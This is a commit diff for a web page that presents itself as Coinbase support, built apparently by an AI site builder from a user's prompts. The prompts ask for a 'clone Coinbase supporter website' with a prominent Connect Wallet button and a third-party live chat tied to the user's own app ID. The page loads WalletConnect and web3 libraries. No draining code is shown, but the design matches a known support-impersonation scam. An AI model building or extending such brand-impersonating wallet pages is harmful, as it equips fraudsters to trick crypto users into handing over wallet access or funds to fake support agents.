Cbteam commited on
Commit
0fcff97
·
verified ·
1 Parent(s): 044bd05

Connect the live chat With my Chaport app ID installation code - Follow Up Deployment

Browse files
Files changed (2) hide show
  1. index.html +61 -14
  2. prompts.txt +7 -1
index.html CHANGED
@@ -10,6 +10,17 @@
10
  <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
11
  <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
12
  <script src="https://unpkg.com/feather-icons"></script>
 
 
 
 
 
 
 
 
 
 
 
13
  <script src="https://cdn.jsdelivr.net/npm/@walletconnect/web3-provider@1.7.8/dist/umd/index.min.js"></script>
14
  <script src="https://cdn.jsdelivr.net/npm/web3@1.8.1/dist/web3.min.js"></script>
15
  <style>
@@ -20,6 +31,10 @@
20
  transform: translateY(-2px);
21
  box-shadow: 0 10px 20px rgba(22, 82, 240, 0.2);
22
  }
 
 
 
 
23
  .support-card:hover {
24
  transform: translateY(-5px);
25
  box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
@@ -30,27 +45,24 @@
30
  <!-- Navigation -->
31
  <nav class="bg-white shadow-sm">
32
  <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
33
- <div class="flex justify-between h-16">
34
  <div class="flex items-center">
35
  <div class="flex-shrink-0 flex items-center">
36
  <img class="h-8 w-auto" src="https://static.photos/blue/200x200/1" alt="Coinbase Logo">
37
  <span class="ml-2 text-xl font-bold text-blue-600">Coinbase</span>
38
  </div>
39
- <div class="hidden sm:ml-6 sm:flex sm:space-x-8">
40
- <a href="#" class="border-blue-500 text-gray-900 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Support</a>
41
- <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Products</a>
42
- <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Resources</a>
43
- </div>
44
  </div>
45
- <div class="hidden sm:ml-6 sm:flex sm:items-center">
46
  <button id="connectWalletBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300">
47
  Connect Wallet
48
  </button>
49
  </div>
50
- <div class="-mr-2 flex items-center sm:hidden">
51
- <button type="button" class="inline-flex items-center justify-center p-2 rounded-md text-gray-400 hover:text-gray-500 hover:bg-gray-100 focus:outline-none focus:ring-2 focus:ring-inset focus:ring-blue-500">
52
- <i data-feather="menu"></i>
53
- </button>
 
 
54
  </div>
55
  </div>
56
  </div>
@@ -220,9 +232,9 @@
220
  <p class="text-gray-500">
221
  Can't find what you need? Contact our support team directly.
222
  </p>
223
- <a href="#" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
224
- Contact us <i data-feather="arrow-right" class="ml-1 h-4 w-4"></i>
225
- </a>
226
  </div>
227
  </div>
228
  </div>
@@ -359,7 +371,42 @@
359
  </div>
360
  </footer>
361
 
 
 
 
 
 
 
 
 
362
  <script>
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
363
  // Initialize AOS animations
364
  AOS.init({
365
  duration: 800,
 
10
  <script src="https://unpkg.com/aos@2.3.1/dist/aos.js"></script>
11
  <script src="https://cdn.jsdelivr.net/npm/feather-icons/dist/feather.min.js"></script>
12
  <script src="https://unpkg.com/feather-icons"></script>
13
+ <!-- Chaport Live Chat Button Styling -->
14
+ <style>
15
+ #chaport-launcher {
16
+ bottom: 20px !important;
17
+ right: 20px !important;
18
+ }
19
+ #chaport-launcher svg {
20
+ width: 24px !important;
21
+ height: 24px !important;
22
+ }
23
+ </style>
24
  <script src="https://cdn.jsdelivr.net/npm/@walletconnect/web3-provider@1.7.8/dist/umd/index.min.js"></script>
25
  <script src="https://cdn.jsdelivr.net/npm/web3@1.8.1/dist/web3.min.js"></script>
26
  <style>
 
31
  transform: translateY(-2px);
32
  box-shadow: 0 10px 20px rgba(22, 82, 240, 0.2);
33
  }
34
+ .nav-icon:hover {
35
+ color: #1652f0;
36
+ transform: scale(1.1);
37
+ }
38
  .support-card:hover {
39
  transform: translateY(-5px);
40
  box-shadow: 0 10px 25px rgba(0, 0, 0, 0.1);
 
45
  <!-- Navigation -->
46
  <nav class="bg-white shadow-sm">
47
  <div class="max-w-7xl mx-auto px-4 sm:px-6 lg:px-8">
48
+ <div class="flex justify-between items-center h-16">
49
  <div class="flex items-center">
50
  <div class="flex-shrink-0 flex items-center">
51
  <img class="h-8 w-auto" src="https://static.photos/blue/200x200/1" alt="Coinbase Logo">
52
  <span class="ml-2 text-xl font-bold text-blue-600">Coinbase</span>
53
  </div>
 
 
 
 
 
54
  </div>
55
+ <div class="flex items-center space-x-4">
56
  <button id="connectWalletBtn" class="wallet-btn bg-blue-600 hover:bg-blue-700 text-white px-4 py-2 rounded-md text-sm font-medium transition-all duration-300">
57
  Connect Wallet
58
  </button>
59
  </div>
60
+ </div>
61
+ <div class="flex justify-center border-t border-gray-200 pt-2 pb-1">
62
+ <div class="flex space-x-8">
63
+ <a href="#" class="border-blue-500 text-gray-900 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Support</a>
64
+ <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Products</a>
65
+ <a href="#" class="border-transparent text-gray-500 hover:border-gray-300 hover:text-gray-700 inline-flex items-center px-1 pt-1 border-b-2 text-sm font-medium">Resources</a>
66
  </div>
67
  </div>
68
  </div>
 
232
  <p class="text-gray-500">
233
  Can't find what you need? Contact our support team directly.
234
  </p>
235
+ <button onclick="window.chaport.q('show')" class="mt-4 inline-flex items-center text-blue-600 hover:text-blue-800">
236
+ Live Chat <i data-feather="message-circle" class="ml-1 h-4 w-4"></i>
237
+ </button>
238
  </div>
239
  </div>
240
  </div>
 
371
  </div>
372
  </footer>
373
 
374
+ <!-- Live Chat Button -->
375
+ <div class="fixed bottom-6 right-6 z-50">
376
+ <button onclick="window.chaport.q('show')" class="bg-blue-600 hover:bg-blue-700 text-white rounded-full p-4 shadow-lg flex items-center justify-center transition-all duration-300 hover:shadow-xl">
377
+ <i data-feather="message-circle" class="h-6 w-6"></i>
378
+ </button>
379
+ </div>
380
+
381
+ <!-- Chaport Live Chat -->
382
  <script>
383
+ (function(w,d,v3){
384
+ w.chaportConfig = {
385
+ appId : 'your-chaport-app-id',
386
+ visibility: 'hidden',
387
+ widgetStyle: {
388
+ primaryColor: '#1652f0',
389
+ darkMode: false
390
+ }
391
+ };
392
+
393
+ if(w.chaport)return;v3=w.chaport={};v3._q=[];v3._l={};v3.q=function(){v3._q.push(arguments)};v3.on=function(e,fn){if(!v3._l[e])v3._l[e]=[];v3._l[e].push(fn)};
394
+ var s=d.createElement('script');s.type='text/javascript';s.async=true;s.src='https://app.chaport.com/javascripts/insert.js';
395
+ var ss=d.getElementsByTagName('script')[0];ss.parentNode.insertBefore(s,ss)
396
+ })(window, document);
397
+ </script>
398
+
399
+ <script>
400
+ // Initialize Chaport
401
+ window.chaportConfig = {
402
+ appId: '64f6a4c4e4b0b4a3d4a3b4a3',
403
+ visibility: 'default', // or 'hidden' to start hidden
404
+ widgetStyle: {
405
+ primaryColor: '#1652f0',
406
+ darkMode: false
407
+ }
408
+ };
409
+
410
  // Initialize AOS animations
411
  AOS.init({
412
  duration: 800,
prompts.txt CHANGED
@@ -1 +1,7 @@
1
- Create a clone Coinbase supporter website with wallet connect feature & button added to it
 
 
 
 
 
 
 
1
+ Create a clone Coinbase supporter website with wallet connect feature & button added to it
2
+ Create a Coinbase Faq website clone
3
+ Bring the wallet connect option to the top right of the website
4
+ Bring the connect button to the top of the site
5
+ Add chaport livechat feature to the site
6
+ Add support live chat option
7
+ Connect the live chat With my Chaport app ID installation code